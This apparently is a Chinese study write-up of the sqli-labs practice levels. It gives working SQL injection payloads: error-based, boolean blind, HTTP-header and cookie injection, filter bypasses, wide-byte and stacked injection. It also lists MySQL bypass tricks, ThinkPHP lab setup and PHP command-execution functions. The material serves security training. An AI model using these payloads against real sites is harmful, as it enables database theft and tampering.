目录
[Less-1 联合查询注入](#Less-1 联合查询注入)
[Less-5 布尔盲注](#Less-5 布尔盲注)
[Less-18 User-Agent注入](#Less-18 User-Agent注入)
[Less-19 Referer注入](#Less-19 Referer注入)
[Less-20 Cookie注入](#Less-20 Cookie注入)
[Less-23 注释符绕过](#Less-23 注释符绕过)
[Less-25 双写绕过](#Less-25 双写绕过)
[Less-32 宽字节注入](#Less-32 宽字节注入)
[Less-37 POST宽字节](#Less-37 POST宽字节)
[Less-38 堆叠注入](#Less-38 堆叠注入)
SQL注入
截断函数
- substr(str, start, length) / substring()
- left(str, length) / right(str, length)
- mid(str, start, length)
判断函数
- length(str) - 返回字符串长度
- ascii(char) - 返回字符的ASCII值
- if(condition, true_val, false_val) - 条件判断
关键数据库表
information_schema:
- SCHEMATA - 记录所有数据库名
- TABLES - 记录所有表名
- COLUMNS - 记录所有列名
报错注入
updatexml()函数
http://localhost/sqli/Less-1/?id=1' and updatexml(1,concat(0x7e,user(),0x7e),2)--+
常用报错注入函数
- extractvalue() - XPath语法错误,最多32位
- updatexml() - XPath错误,最多32位
- floor()+rand()+group by - 主键重复报错
- exp() - 数值溢出(需MySQL 5.5.5+)
- geometrycollection()/multipoint()/polygon() - 几何函数报错
- NAME_CONST() - 重复列名报错
Less-1 联合查询注入
- 判断注入点
- 判断列数
- 判断回显位置
- 获取当前数据库
- 获取所有表名
- 获取users表的列名
- 获取账号密码
Less-5 布尔盲注
页面只有两种状态(正确/错误),需要通过布尔判断逐个字符获取数据。
思路
- 猜测数据库名长度:?id=1' and length(database())=8--+
- 逐个猜解字符:?id=1' and ascii(substr(database(),1,1))=115--+
- 使用Burp Intruder或Python脚本自动化
HTTP头注入与绕过
Less-18 User-Agent注入
注入点在User-Agent头:
POST /sqli/Less-18/
User-Agent: ' OR extractvalue(1,concat('!',database())) OR '
uname=admin&passwd=123&submit=Submit
Less-19 Referer注入
注入点在Referer头,方法同Less-18
Less-20 Cookie注入
Cookie值直接带入SQL查询:
Cookie: uname=admin' union select 1,user(),3#
Less-23 注释符绕过
过滤了#和--+,使用;%00或闭合方式绕过:
?id=-1' union select 1,2,3 or '1'='1
Less-25 双写绕过
过滤了or和and,使用双写绕过:
?id=-1' union select 1,group_concat(username,0x3a,passwoorrd),3 from users--+
宽字节与堆叠注入
Less-32 宽字节注入
GBK编码中,两个字节代表一个汉字。当输入%df'时:
-
%df与\(0x5C)组合成%df%5c -
这个组合在GBK中被识别为汉字
運 -
单引号逃逸出来
?id=-1%df' union select 1,user(),3--+
Less-37 POST宽字节
uname=admin%df'#
passwd=123
Less-38 堆叠注入
堆叠注入可以执行多条SQL语句,使用;分隔。
?id=1';insert into users(id,username,password) values(100,'test','123')--+
- 不适用union/select/insert
- 适用于文件操作、修改数据等场景
编码对比
| 编码方式 | 特点 |
|---|---|
| GBK | 汉字占2字节,固定长度 |
| UTF-8 | 可变长编码,汉字占3字节 |
| Unicode | 不可变长 |
ThinkPHP漏洞
-
下载ThinkPHP 5.0.15源码
-
Windows环境配置:
- 将
framework目录重命名为thinkphp - 配置虚拟主机指向
public目录
-
虚拟主机配置:
<VirtualHost *:80>
DocumentRoot "D:/tp5/public"
ServerName tp5.com
</VirtualHost>
MySQL绕过技术总结PHP常用命令执行函数
- 编码绕过:16进制、URL编码
- 注释绕过 :
/**/、/*!*/ - 大小写绕过
- 双写绕过
- 特殊字符绕过 :
%0a、%09 - 宽字节绕过
PHP常用命令执行函数
| 函数 | 说明 |
|---|---|
system() |
直接执行命令并输出结果 |
exec() |
执行命令,需echo输出 |
shell_exec() |
执行命令,返回结果字符串 |
passthru() |
直接输出命令执行结果 |
proc_open() |
进程控制,更灵活 |
popen() |
打开进程管道 |
eval() |
执行PHP代码 |
assert() |
执行PHP代码(PHP 7中变更) |
回调函数
call_user_func()call_user_func_array()array_map()usort()/uasort()